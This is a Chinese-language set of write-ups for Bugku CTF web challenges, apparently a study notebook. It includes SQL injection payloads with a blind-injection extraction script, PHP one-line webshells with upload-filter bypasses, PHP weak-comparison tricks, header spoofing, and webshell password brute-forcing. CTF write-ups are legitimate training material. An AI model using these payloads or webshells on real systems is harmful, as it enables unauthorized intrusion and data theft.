web2
打開鏈接為一頁的滑稽動圖,只有20,應該比較簡單。直接打開開發者工具
但是最后提交的時候不知道正確的提交格式,emmm,讓我懷疑起來。。。
計算器
打開后要求輸入表達式計算結果,嘗試輸入,發現只能輸入1個值
打開開發者工具,修改相應位置的輸入最大值限制
web基礎$_GET
發現只是簡單的代碼,只要提交的what=flag就行
在地址欄輸入橫線的內容,顯示flag
web基礎$_POST
因為post提交的結果不會顯示在URL中,此時就需要自己構造,當然自己寫腳本提交也可以
這里使用的是火狐瀏覽器的插件HackBar
矛盾
當提交的num不為數字且為1則顯示flag 一般情況下數為1且不為數字自相矛盾
但有很多方法可以讓num為1卻不是數字 比如num= 1e0.123
web3
打開鏈接后就是一個彈窗,點擊確認
一直點擊確認的話會一直重復者兩個彈框,勾選“阻止此頁面創建更多對話框”,則把js的內容顯示了出來
開發者工具查看,發現js最后一行有注釋,解碼
域名解析
題目意思是把flag.baidu.com 解析到123.206.87.240,就是將域名和IP地址聯系起來
windows下修改的文件為:
c:\windows\system32\drivers\etc\hosts,出現沒有權限的問題請參考windows下沒有權限解決方法
然后訪問flag.baidu.com,即得flag
你必須讓它停下
打開瀏覽器頁面后,頁面一直刷新
所以我們可以禁用JavaScript
在谷歌瀏覽器中打開設置-高級-隱私-內容設置-js-禁用
刷新題目頁面一直到有CTF圖片的頁面,查看源代碼
看別人的,也可以采用burp suite抓包,使其停止自動刷新,其余步驟一樣
不懂--本地包含
變量1
打開網頁鏈接,是一段php代碼
flag In the variable ! <?php error_reporting(0); // 關閉php錯誤顯示 include "flag1.php"; // 引入flag1.php文件代碼 highlight_file(__file__); if(isset($_GET['args'])){ // 通過get方式傳遞 args變量才能執行if里面的代碼 $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ // 這個正則表達式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小寫字母和0到9以及下划線組成 die("args error!"); } eval("var_dump($$args);");// 告訴我們這題是代碼審計的題目 } ?>
提示說flag在變量里面,經分析只要運行 eval("var_dump($$args);");,falg很有可能就會出來
$$args====>我們可以猜想$args很有可能是一個數組,應該想到的就是超全局變量$GLOBALS
他是用存儲全局變量的,全局變量的值在這個超級全局變量里面是一個鍵值,先當於hashmap的鍵值對
全局變量可以通過變量名在$GLOBALS找到相對應的值。
eval()這個函數的作用是字符串里面的php代碼按正常的php代碼被執行
通過構造一個GET參數,直接傳GET一個全局變量即可
http://123.206.87.240:8004/index1.php?args=GLOBALS
!!web5
打開鏈接
隨便輸入一些東西提交,看看返回的具體信息
返回:在好好看看。
好吧,那就再看看
本頁面上實在沒什么東西,查看源代碼,發現了jother編碼放到console中回車一下就可得到flag
也可以通過編寫JavaScript通過alert(xxx)、console(xxx)、document.write(xxx)即可解密(xxx為編碼內容)。
頭等艙
查看源代碼,什么都沒有,就想到神器Burp Suite
抓包后在響應報文中看到了flag
網站被黑
御劍掃描,發現一個shell.php,進去頁面是一個webshell,用弱密碼嘗試無效
用burp suit進行爆破,這里選擇Simple list,字典選擇burp自帶的Passwords
管理員系統
常規,F12開發者工具查看一下頁面中有沒有什么重要信息
發現base64編碼,解碼后為test123
應該為密碼了,至於賬號無所謂,什么都行(為了成功獲取flag,密碼一定要為 test123)
輸入密碼,但是頁面顯示 IP禁止訪問,請聯系本地管理員登陸,IP已被記錄
“本地管理員”......“本地”......
得到新思路:偽裝成本地訪問:
抓包
改包:Headers中增添一對鍵值對: X-Forwarded-For : 127.0.0.1
web4
題目說要查看源代碼,那就查看源代碼,發現一段js代碼看起來比較特殊
對它進行URL解碼
解碼后為一段js代碼,其實就是拼接,得到 67d709b2b54aa2aa648cf6e87a7114f1 提交
!!falg在index里

輸入密碼查看flag
打開鏈接,URL提示爆破,那么用burp suite爆破
爆破
或者用python
點擊一百萬次
也就是說讓我們點擊圖片一百萬此后才可以顯示flag,當然這個肯定辦不到
根據題目提示的JavaScript,查看源代碼,找到對應的js
var clicks=0 $(function() { $("#cookie") .mousedown(function() { $(this).width('350px').height('350px'); }) .mouseup(function() { $(this).width('375px').height('375px'); clicks++; $("#clickcount").text(clicks); if(clicks >= 100000){ var form = $('<form action="" method="post">' + '<input type="text" name="clicks" value="' + clicks + '" hidden/>' + '</form>'); $('body').append(form); form.submit(); } }); });
發現以post方式提交請求,構造URL即可
聽說備份是個好習慣--弱類型比較
一打開是一串字符,不知道是什么編碼,無從下手
盡然提到了文件備份,應該是備份文件源碼泄露一類的。使用源碼泄露工具,可以自動訪問常見的CTF線索文件,如果返回正常說明文件存在。
工具鏈接:https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true
也可以根據題目提示我們去尋找 .bak 文件(為備份文件的拓展名),猜測構造 http://120.24.86.145:8002/web16/index.php.bak
或者用御劍掃描,查看包含的文件
查看備份文件 .bak 下載后打開
1 <?php 2 /** 3 * Created by PhpStorm. 4 * User: Norse 5 * Date: 2017/8/6 6 * Time: 20:22 7 */ 8 9 include_once "flag.php"; 10 ini_set("display_errors", 0); 11 $str = strstr($_SERVER['REQUEST_URI'], '?'); 12 $str = substr($str,1); 13 $str = str_replace('key','',$str); 14 parse_str($str); 15 echo md5($key1); 16 17 echo md5($key2); 18 if(md5($key1) == md5($key2) && $key1 !== $key2){ 19 echo $flag."取得flag"; 20 } 21 ?>
分析一下,11行strstr從URL中獲取從'?'往后(包括'?')的字符串,12行去掉'?',13行把字符串中的'key'替換為空,可以使用類似這樣的語句:kkeyey 處理來繞過,14行parse_str把字符串解析到變量中。最后需要得到key1,key2不相等而二者md5相等,可以利用php弱類型比較繞過,具體原理可以看這里:
https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo
方法一:
md5()函數無法處理數組,如果傳入的為數組,會返回NULL,所以兩個數組經過加密后得到的都是NULL,也就是相等的。
方法二:
利用==比較漏洞(弱比較)
如果兩個字符經MD5加密后的值為 0exxxxx形式,就會被認為是科學計數法,且表示的是0*10的xxxx次方,還是零,都是相等的。
下列的字符串的MD5值都是0e開頭的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
前兩個0e開頭的分別是key1、key2的md5值
成績單
題目給了一個表格,應該就是SQL注入了
1.首先我們要判斷sql語句的閉合方式,一般有兩種
當在id的值后面加上'時,界面無回顯,可以判斷后端的sql語句應該是
select xxxx from xxxx where id = 'input_id' [xxxx]
或者是這樣的
select xxxx from xxxx where id = ('input_id') [xxxx]
在id = 1'
的值后面加上注釋符#
之后發現界面正常顯示,所以可以斷定sql語句的形式是id = 'input_id'
。
常用的閉合方式還用id = "input_id"
,id = ("input_id")
,id = ('input_id')
等等,具體是哪一種只能看程序猴
的寫法。
2.判斷返回列數
可以使用order by子句判斷返回的列數。當構造post參數中的order by為5時,界面無回顯、值為4時有回顯。所以后端返回的列數應該是4。
id=1' order by 5 #
3.判斷后端返回的前端顯示的格式
id=-1' union select 1,2,3,4 #
知道返回的列名之后,就可以執行后繼的操作和查詢各種數據了。
比如查詢當前的數據庫名
和當前的用戶名
以及當前的sql版本號
id=-1' union select 1,database(),user(),version() #
select后面幾個數字的意思,1,2,3,4...,這里的幾個數字純粹是湊數的,湊夠和union關鍵字前面的那個表的字段數一樣,不然沒法拼接成一個表。
4.注入出當前數據庫所有的表名
information_schema是一個擁有數據庫中所有信息的庫,包含了所有的庫,表,列。
id=-2' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
5.注入出某一個表中的全部列名
id=-2' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='fl4g')#
到目前為止已經能查詢數據庫名稱、登陸數據庫的用戶名稱、當前數據庫的所有表名、某一個表中的全部字段名稱等等數據。例如在數據表fl4g
中的全部的列名只有一個skctf_flag
。那么怎樣查詢字段內容呢?
6.注入出字段內容
利用前面注入出的信息,包括表名,列名,就可以查詢字段內容了。
id=-2' union select 1,2,3,(select skctf_flag from fl4g) #
秋名山老司機
本題要求計算響應內容中的表達式並用 POST 請求返回結果,實質還是快速反彈包含正確信息的 POST 請求,詳情可參考詳解 CTF Web 中的快速反彈 POST 請求
先放題解的 Python 腳本,后再解析:
import requests import re url = 'http://120.24.86.145:8002/qiumingshan/' s = requests.Session() source = s.get(url) expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group() result = eval(expression) post = {'value': result} print(s.post(url, data = post).text)
1、有關 requests 的部分此處不細講,唯一要注意必須利用會話對象 Session(),否則提交結果的時候,頁面又重新生成一個新的表達式,結果自然錯誤。
2、第 6 行是利用正則表達式截取響應內容中的算術表達式。首先引入 re 模塊,其次用 search() 匹配算術表達式,匹配成功后用 group() 返回算術表達式的字符串。
3、第 7 行在獲得算術表達式的字符串后,直接利用 Python 的內建方法 eval() 來計算出結果,簡單、暴力、快捷。
執行完上述腳本,就有一定的概率可以獲得 flag 了:
pycharm安裝requests:https://blog.csdn.net/weixin_37861326/article/details/80347960
速度要快
打開頁面什么也沒有,那就抓包試一下吧
發現base64編碼,解碼
發現要再解碼一次,但是結果不對
因為每次發送一次請求,它的base64不一樣,所以它的解碼可能要在規定時間內計算出來
借用python
#coding:utf-8 import requests import base64 url='http://123.206.87.240:8002/web6/' s=requests.Session() header=s.get(url).headers #print(header) flag = base64.b64decode(base64.b64decode(header['flag']).decode().split(':')[1]).decode() #對其進行base64兩次解密 data={'margin':flag} print(s.post(url=url,data=data).content.decode())
cookies欺騙
1.打開頁面是一堆不知道是什么的一串字符,查看源碼也沒有發現什么
2.觀察URL,發現兩個參數
(1)line=
(2)filename=a2V5cy50eHQ=
第二個參數內容為base64編碼,解碼后為keys.txt
4.訪問http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw
發現頁面...空了......
line參數是否決定了返回哪一行呢?
隨便輸入一個數字測試一下,發現返回對應此行的php代碼
寫一個腳本獲取全部源碼
# -*- coding:utf-8 -*- import requests url = 'http://123.206.87.240:8002/web11/index.php' s = requests.Session() for i in range(1,30): #讀取前30行 payloads = {'line':str(i),'filename':'aW5kZXgucGhw'} #構造 a = s.get(url,params=payloads).content c = str(a,encoding="utf-8") print(c)
5.得到源碼
1 <?php 2 3 error_reporting(0); 4 5 $file=base64_decode(isset($_GET[‘filename‘])?$_GET[‘filename‘]:""); 6 7 $line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0; 8 9 if($file==‘‘) header("location:index.php?line=&filename=a2V5cy50eHQ="); 10 11 $file_list = array( 12 13 ‘0‘ =>‘keys.txt‘, 14 15 ‘1‘ =>‘index.php‘, 16 17 ); 18 19 20 21 if(isset($_COOKIE[‘margin‘]) && $_COOKIE[‘margin‘]==‘margin‘){ 22 23 $file_list[2]=‘keys.php‘; 24 25 } 26 27 28 29 if(in_array($file, $file_list)){ 30 31 $fa = file($file); 32 33 echo $fa[$line]; 34 35 } 36 37 ?>
分析源碼,前面判斷傳參,后面判斷cookie必須滿足margin=margin才能訪問keys.php
6.
第一種:先得到keys.php的base64編碼a2V5cy5waHA=
通過火狐瀏覽器的插件偽造cookie



never give up
1.先右鍵查看源代碼,發現如下內容
2.除了這個以外,獲取不到什么其它的內容,那么就訪問它:http://123.206.87.240:8006/test/1p.html
發現自動跳轉到了bugku的頁面,應該是重定向了
3.訪問url沒什么用,就查看頁面的源代碼:view-source:http://123.206.87.240:8006/test/1p.html
4.第七行內容為url編碼,解碼后再base64,再url解碼
1 ";if(!$_GET['id']) 2 { 3 header('Location: hello.php?id=1'); 4 exit(); 5 } 6 $id=$_GET['id']; 7 $a=$_GET['a']; 8 $b=$_GET['b']; 9 if(stripos($a,'.')) 10 { 11 echo 'no no no no no no no'; 12 return ; 13 } 14 $data = @file_get_contents($a,'r'); 15 if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) 16 { 17 require("f4l2a3g.txt"); 18 } 19 else 20 { 21 print "never never never give up !!!"; 22 } 23 24 25 ?>
5.函數簡介
stripos(字符串a,字符串b) 函數查找字符串b在字符串a中第一次出現的位置(不區分大小寫)。
file_get_contents 將整個文件讀入一個字符串
strlen() 函數返回字符串的長度
substr() 函數返回字符串的一部分。 substr(string,start,length) ,length參數可選。如 substr($b,0,1) 就是在參數b里面 ,從0開始返回1個長度的字符串,就是取第一個字符
eregi("111".substr($b,0,1),"1114") 就是判斷"1114"這個字符串里面是否含有符合"111".substr($b,0,1)這個規則的
6.其中各條核心語句的作用如下:
- 第 1 行:限制 URL 查詢字符串中必須有非空非零變量
id
- 第 9 行:限制變量
$a
中不能含有字符.
- 第 15 行:要滿足以下 5 條表達式才會爆 flag:
- 變量
$data
弱等於字符串bugku is a nice plateform!
- 變量
$id
弱等於整型數 0 - 變量
$b
的長度大於 5 - 字符串
1114
要與字符串111
連接變量$b
的第一個字符構成的正則表達式匹配 - 變量
$b
的第一個字符弱不等於整型數 4
- 變量
7.源碼中 $id
、$a
、$b
三個變量需要滿足的條件進行講解
PHP 弱類型比較:變量 $id
若想滿足非空非零且弱等於整型數 0,則 $id
的值只能為非空非零字符串,這里假設 $id = "asd"
。
PHP 偽協議:源碼中變量 $data
是由 file_get_contents()
函數讀取變量 $a
的值而得,所以 $a
的值必須為數據流。
在服務器中自定義一個內容為 bugku is a nice plateform!
文件,再把此文件路徑賦值給 $a
,顯然不太現實。因此這里用偽協議 php:// 來訪問輸入輸出的數據流,其中 php://input
可以訪問原始請求數據中的只讀流。這里令 $a = "php://input"
,並在請求主體中提交字符串 bugku is a nice plateform!
。
eregi() 截斷漏洞:CTF 題做多了就知道 ereg()
函數或 eregi()
函數存在空字符截斷漏洞,即參數中的正則表達式或待匹配字符串遇到空字符則截斷丟棄后面的數據。
源碼中待匹配字符串(第二個參數)已確定為 "1114"
,正則表達式(第一個參數)由 "111"
連接 $b
的第一個字符組成,若令 substr($b,0,1) = "\x00"
,即滿足 "1114"
與 "111"
匹配。因此,這里假設 $b = "\x0012345"
,才能滿足以上三個條件。
打擾了,還是直接 http://123.206.87.240:8006/test/f4l2a3g.txt
welcome to bugkuctf
https://blog.csdn.net/csu_vc/article/details/78375203
https://www.cnblogs.com/Pinging/p/8278168.html
過狗一句話
第一行:explode() 函數把字符串打散為數組。
第二行:獲取數組里的每個字符,結果為assert,其函數的特性為總是使表達式值為真
第三行:用assert函數使get獲得的參數s總為真,即用assert執行任意代碼
payload:http://120.24.86.145:8010/?s=print_r(scandir('./')) 掃描目錄
發現flag
字符?正則?
keykeyaaaakey:/a/////keya:
PHP 正則表達式匹配函數 preg_match 與 preg_match_all
前女友(SKCTF)
頁面都是文字,查看源碼什么都沒有。一般都是文字的題目就可能會有鏈接的存在,而且題目說什么鏈接,發現鏈接竟然是可以點進去的!!!
發現源碼:
也就是說我們需要構造三個參數,v1,v2,v3,其中v1和v2需要值不同但md5的值相同,看起來是找md5碰撞的問題,但我們也可以利用md5函數的特性,md5(數組)會返回null,這個也是返回值,題目要求的是md5函數的返回值相等,所以就可以用兩個值不同但不可md5的數據類型傳入即可。
此處我們使用v1[]=1&&v2[]=2。第二個是strcmp函數,需要v3和flag的值相同才返回flag的值,貌似是一個雞生蛋問題,但是我們依舊使用函數特性,strcmp函數如果出錯,那么它的返回值也會是0,和字符串相等時返回值一致。那么如何出錯呢,猜測不可比較時出錯,那么傳入一個數組試試,所以最后構造參數並用get方法傳入
http://118.89.219.210:49162/?v1[]=1&&v2[]=2&&v3[]=3,得到flag。
login1(SKCTF)
用常規方式注冊登陸,提示要成為管理員才可以;如果用爆破的話,大寫字母加小寫字母加數字太麻煩了
根據題目提示SQL約束攻擊
1.在SQL中執行字符串處理時,字符串末尾的空格符將會被刪除。換句話說“vampire”等同於“vampire ”,對於絕大多數情況來說都是成立的(諸如WHERE子句中的字符串或INSERT語句中的字符串)例如以下語句的查詢結果,與使用用戶名“vampire”進行查詢時的結果是一樣的。 SELECT * FROM users WHERE username='vampire '; 但也存在異常情況,最好的例子就是LIKE子句了。注意,對尾部空白符的這種修剪操作,主要是在“字符串比較”期間進行的。這是因為,SQL會在內部使用空格來填充字符串,以便在比較之前使其它們的長度保持一致。 2.在所有的INSERT查詢中,SQL都會根據varchar(n)來限制字符串的最大長度。也就是說,如果字符串的長度大於“n”個字符的話,那么僅使用字符串的前“n”個字符。比如特定列的長度約束為“5”個字符,那么在插入字符串“vampire”時,實際上只能插入字符串的前5個字符,即“vampi”。
注冊成為admin(這里我用了25個空格),密碼符合要求即可
登陸即可
你從哪里來
點開頁面,顯示“are you from google?”
然而用谷歌訪問行不通,構造referer請求頭即可得到flag,關於referer:參考資料 https://www.sojson.com/blog/58.html
HTTP_REFERER 編輯
HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,一般會帶上Referer,
告訴服務器我是從哪個頁面鏈接過來的,服務器基此可以獲得一些信息用於處理。
簡而言之,HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,
一般會帶上Referer,告訴服務器我是從哪個頁面鏈接過來的,服務器藉此可以獲得一些信息用於處理。
比如從我主頁上鏈接到一個朋友那里,他的服務器就能夠從HTTP Referer中統計出每天有多少用戶點擊我主頁上的鏈接訪問他的網站。
Referer的正確英語拼法是referrer。
由於早期HTTP規范的拼寫錯誤,為了保持向后兼容就將錯就錯了。
其它網絡技術的規范企圖修正此問題,使用正確拼法,所以目前拼法不統一。
md5 collision(NUPT_CTF)
題目說是md5碰撞,進入頁面要求“please input a”
PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0(科學計數法),所以如果兩個不同的密碼經過哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0。
攻擊者可以利用這一漏洞,通過輸入一個經過哈希后以”0E”開頭的字符串,即會被PHP解釋為0,如果數據庫中存在這種哈希值以”0E”開頭的密碼的話,他就可以以這個用戶的身份登錄進去,盡管並沒有真正的密碼。
0e開頭md5小結
構造payload:http://123.206.87.240:9009/md5.php?a=s878926199a
程序員本地網站
這道題要求從本地訪問,打開burpsuite抓包,加上:X-Forwarded-For: 127.0.0.1 就好了
X-Forwarded-For: 簡稱XFF頭,它代表客戶端,也就是HTTP的請求端真實的IP,只有在通過了HTTP 代理或者負載均衡服務器時才會添加該項。
各種繞過
根據代碼要獲得flag,uname與passwd的值要不等但哈希值相等,同時id=margin
構造payload:http://120.24.86.145:8002/web7/?uname[]=1&id=margin 並發送 passwd[]=2 的 postdata 請求即可
web8
方法一
extract(array,extract_rules,prefix)
extract() 函數將$_GET數組的值轉為變量,默認,如果有沖突,則覆蓋已有的變量
File_get_contents()把整個文件讀入一個字符串中,可利用php://input繞過
trim() 函數移除字符串兩側的空白字符或其他預定義字符。
所以想得到flag,要達到下面三個條件:
- 就要讓ac的值不為空
- f的值從文件fn中獲取
- ac的值要恆等於f的值
構造payload如下:
-
?ac= 123&fn=php://input
-
[
方法二
根據題目提示txt???思考會不會有flag.txt文件,訪問flag.txt
$ac是指flag.txt中的內容flags,$fn指的是flag.txt這個文件
payload: ?ac=flags&fn=flag.txt
細心
進入頁面報404,嘗試點鏈接,沒有什么內容,另人摸不着頭腦
御劍掃描,發現robots.txt,它是網站爬蟲規則的描述
進入 http://123.206.87.240:8002/web13/robots.txt ,發現有
查看這個php文件
發現有參數 x ,那么肯定和參數有關,可能和參數相關的就是題目一開始給的提示,想辦法變成admin
構造:http://123.206.87.240:8002/web13/resusl.php?x=admin
!!求getshell
所以可以上傳一個php文件 ,抓包后(或者直接該后綴名1.jpg,就不用**那步)
將頭部的Content-Type改成Multipart/form-data大小寫繞過
**請求內容里的Content-Type改成image/jpeg
文件名改成php5
就繞過了
一句話木馬
- php的一句話是: <?php @eval($_POST['pass']);?>
- asp的一句話是: <%eval request ("pass")%>
- aspx的一句話是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
保存為1.jpg,上傳,抓包,將第一個的Content-Type:multipart/form-data隨便一個字母改成大寫,將文件名1.jpg改為1.php5
Multipart/form-data:
https://www.cnblogs.com/tylerdonet/p/5722858.html
https://www.jianshu.com/p/29e38bcc8a1d
解題:
https://blog.csdn.net/qq_42133828/article/details/85091547
https://blog.csdn.net/qq_42967398/article/details/84929817
!!INSERT INTO注入
解題:https://blog.csdn.net/xuchen16/article/details/82904488
!!這是一個神奇的登陸框
https://blog.csdn.net/zyl_wjl_1413/article/details/84260951
https://blog.csdn.net/qq_38412357/article/details/79559039
!!多次
https://blog.csdn.net/dyw_666666/article/details/83450701
https://blog.csdn.net/qq_42967398/article/details/84931839
PHP_encrypt_1(ISCCCTF)
打開題目下載的文件,題目的意思是根據給出的字符串逆推出flag
<?php function encrypt($data,$key) { $key = md5('ISCC'); $x = 0; $len = strlen($data); $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen) { $x = 0; } $char .= $key[$x]; $x+=1; } for ($i=0; $i < $len; $i++) { $str .= chr((ord($data[$i]) + ord($char[$i])) % 128); } return base64_encode($str); } ?>
output:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
大佬的解題代碼
<?php function decrypt($str) { $mkey = "729623334f0aa2784a1599fd374c120d"; $klen = strlen($mkey); $tmp = $str; $tmp = base64_decode($tmp); // 對 base64 后的字符串 decode $md_len = strlen($tmp); //獲取字符串長度 for ($i=0; $i < $md_len; $i++) { // 取二次加密用 key; if ($x == $klen) // 數據長度是否超過 key 長度檢測 $x = 0; $char .= $mkey[$x]; // 從 key 中取二次加密用 key $x+=1; } $md_data = array(); for($i=0;$i<$md_len;$i++) { // 取偏移后密文數據 array_push($md_data, ord($tmp[$i])); } $md_data_source = array(); $data1 = ""; $data2 = ""; foreach ($md_data as $key => $value) { // 對偏移后的密文數據進行還原 $i = $key; if($i >= strlen($mkey)) {$i = $i - strlen($mkey);} $dd = $value; $od = ord($mkey[$i]); array_push($md_data_source,$dd); $data1 .= chr(($dd+128)-$od); // 第一種可能, 余數+128-key 為回歸數 $data2 .= chr($dd-$od); // 第二種可能, 余數直接-key 為回歸數 } print "data1 => ".$data1."<br>\n"; print "data2 => ".$data2."<br>\n"; } $str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="; decrypt($str); ?>
文件包含2
1.進入頁面沒有發現什么,右鍵查看源代碼,發現upload文件,訪問
2.新建文檔寫入 <script language=php>system("ls")</script> 后另存為 jpg 格式
然后上傳
3.訪問這個文件的存儲位置
4.然后再訪問紅色畫框的文件位置
flag.php
進入頁面點擊login什么反應也沒有,根據提示hint
構造 http://123.206.87.240:8002/flagphp/?hint
出現源代碼
<?php error_reporting(0); include_once("flag.php"); $cookie = $_COOKIE['ISecer']; if(isset($_GET['hint'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html> <?php } $KEY='ISecer:www.isecer.com'; ?>
根據代碼,只要cookie反序列化的結果和key相等即可
會下意識的以為key的值為下面的ISecer:www.isecer.com,但是在之前的代碼中key還沒有被定義,為空
反序列化的結果為:ISecer=s:0:"";

<?php $KEY=''; echo serialize($KEY); ?> >>>s:0:""; <?php $KEY=NULL; echo serialize($KEY); ?> >>>N;
sql注入2
直接在網址后面加上flag,就會提示讓你下載文件
下載后用txt文檔打開即可
!!孫xx的博客
------這題我覺得可能服務器掛了,就貼了別人的
需要用到滲透測試第一步信息收集
點開blog,瀏覽全部的博客,然后看到了這


這兩個東西很容易就能聯想到時用戶名密碼,可是這里應該是哪里的用戶名密碼,
嘗試訪問phpmyadmin,沒想到成功訪問了,然后把上面這兩個東西分別作為用戶名密碼輸進去,然后就可以成功登入了,然后

直接點擊它,然后查看里面的東西直接就得到了flag
Trim的日記本
hints:不要一次就放棄
不知道怎么做,看別人說直接掃目錄,show.php就能看到(不過一般情況下線上比賽是不允許掃目錄的)
!!login2
頁面什么也沒有,目錄掃描了也沒有東西,看來是要注入登錄,一般注入都會用burp->repeater測試,比較方便,此時看到服務器的返回報文有一段base64解密的字符串
發現一段base64編碼,解碼后
$sql="SELECT username,password FROM admin WHERE username='".$username."'"; if (!empty($row) && $row['password']===md5($password)){ }
是登錄頁面的一小段源碼,通過分析源碼中數據庫的處理流程發現可以通過輸入不存在用戶,用union select 構造出指定密碼的md5值,從而登錄成功,payload大概就是這樣username=adminawevcq3vq3rv' union select 1,'25d55ad283aa400af464c76d713c07ad'%23&password=12345678
或username=1' union select 1,md5(1)%23&password=1
然后進入了進程監控系統
我也不是很會,接下來請看這里
!!login3
先判斷注入點在哪里
嘗試隨便輸入幾個用戶名,發現返回 username does not exist! 此時沒有輸入密碼
嘗試用戶名為admin,發現返回 password error! 說明用戶名正確
這就驗證了我們的猜想,那現在注入點應該就是用戶名了。
然后試試在admin后加上單引號,但是返回是用戶名不存在
這意味着什么呢?這說明即使語法錯誤,也不會在頁面上顯示報錯信息,
也就不能使用報錯注入了,我們發現有兩種返回信息:
username does not exist!和password error!,那我們可以利用這兩個返回值進行布爾盲注。
畢竟我也是第一次接觸到這種布爾型盲注,也當是小白掃盲吧,怎么利用啰嗦幾句。
我們猜測后台的驗證應該是先查找我們輸入的用戶名是否存在,大概是:
select password,username from users where username=”我們輸入的用戶名”
如果我們在where語句的結尾加上一個and連接的布爾判斷語句,就可以根據返回值判斷where條件是否成立,比如這道題就可以嘗試補成
where username=’admin’ and (substring(database(),1,1)=’a’)
如果返回值是password error,那么就說明where語句是成立的,那么我們補充的那就也是成立的,那么就可以確定數據庫的第一位是a,然后再猜測第二位。
但是這道題過濾了and!!!
嘗試加上and返回:
經過嘗試發現還過濾了空格,逗號,等號,for
空格用括號代替,等號用<>(一種不等號)代替
那怎么辦呢,這就用上了今天介紹的異或運算^,先說一下基本規則:
1^1=0 1^0=1 0^0=0
就是說只有兩個不同的布爾值運算結果為1,其他為零
不過在這里用的時候先不要按這個規則去推,因為在我們用到的三個值的布爾運算的sql語句中完全相反
首先說下這里我們要補上兩個布爾值,這個最后再說為什么。
先猜數據庫名,基本語句
admin’^(ascii(mid(database()from(1)))<>97)^0#
解釋一下為什么,為了繞過空格過濾,用括號隔開,過濾了等號,用不等號 <>代替,只要是布爾值就可以。mid()函數和substring()一樣,一種寫法是mid(xxx,1,1),另一種是mid(xxx,from 1 for 1)但是這里過濾了for和逗號,那么怎么辦呢?
這里用到了ascii()取ascii碼值的函數,如果傳入一個字符串那么就會取第一個字符的字符的ascii碼值,這就有了for的作用,並且mid()函數是可以只寫from的表示從第幾位往后的字符串,我們將取出的字符串在傳入ascii()中取第一位,就完成了對單個字符的提取。
每個字符的ascii碼判斷是不是不等於給定的數字,會得到一個布爾值(0或1)再與結尾的0進行運算。
如果數據庫名的第一位的ascii碼值不是97,where條件是username=’admin’^1^0
返回值是username does not exist!
如果數據庫名的第一位的ascii碼值是97,where條件是username=’admin’^0^0
返回值會是password error!
這就構成了布爾報錯注入。
有人可能疑問大部分的判斷都是無用的,就是說可能從97嘗試到120都是username does not exist!,那如何快速找到語句成立時的返回結果(password error!)。這里就是最后^0的妙用了,
因為’admin’^0^0和’admin’^1^1是一樣的,我們可以構造后者來看前者成立時的情況。
補充一點,因為這里既是語法錯誤也不會報錯,有可能你輸入的語句就不可能成立,但你也不知道,就很麻煩了,不過可以改變最后是^0還是^1,如果改不改返回值相同,那就是有語法錯誤,如果不同就可以參照上一段了。這也是為什么要多加一個^0,看似多此一舉,其實好處多多。
就是說admin’^(ascii(mid(database()from(1)))<>97)^1# 就可以得到password error!
數據庫名最后可以得到是:blindsql
下一步猜表名,表名好像沒法暴力猜,因為關鍵詞information被禁了!!!!那數據庫名就沒用了,哈哈哈,不過后面猜字段的值是一樣的原理,不虧不虧。
沒法用系統表,就不能像上面一樣爆破了,真的是猜了,是admin表,語句如下
admin’^(select(1)from(admin))^1# 返回password error!說明猜對了
猜字段 admin’^(select(count(password))from(admin))^1# 返回password error!說明猜對了。
為什么要用count()呢,因為如果有多行數據也可能會報錯,會干擾判斷。
然后猜password的值,暴力猜解,與猜數據庫類似:
admin’^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#
得到密碼的MD5值:51b7a76d51e70b419f60d3473fb6f900,解密后登陸,得到flag

# coding=utf-8 import requests import re, string, hashlib url = 'http://123.206.31.85:49167/' sss = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" headers = { 'Host': '123.206.31.85:49167', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:65.0) Gecko/20100101 Firefox/65.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Referer': 'http://123.206.31.85:49167/', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '87', 'Cookie': 'PHPSESSID=qij0np73li9nmm1rog8vo5dm76', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1' } answer = '' for i in range(1, 50): flag = 0 for j in sss: postuser = "'^(select(ascii(mid((select(password)from(admin))from(%d)))<>%d))^1#" % (i, ord(j)) data = {'username': postuser, 'password': 'admin'} html = requests.post(url, headers=headers, data=data).text html = re.findall(r"<p align='center'>(.*?)</p>", html, re.S)[0] if 'username does not exist!' in html: answer += j flag = 1 print(answer) break if flag == 0: break print('password is ', answer)
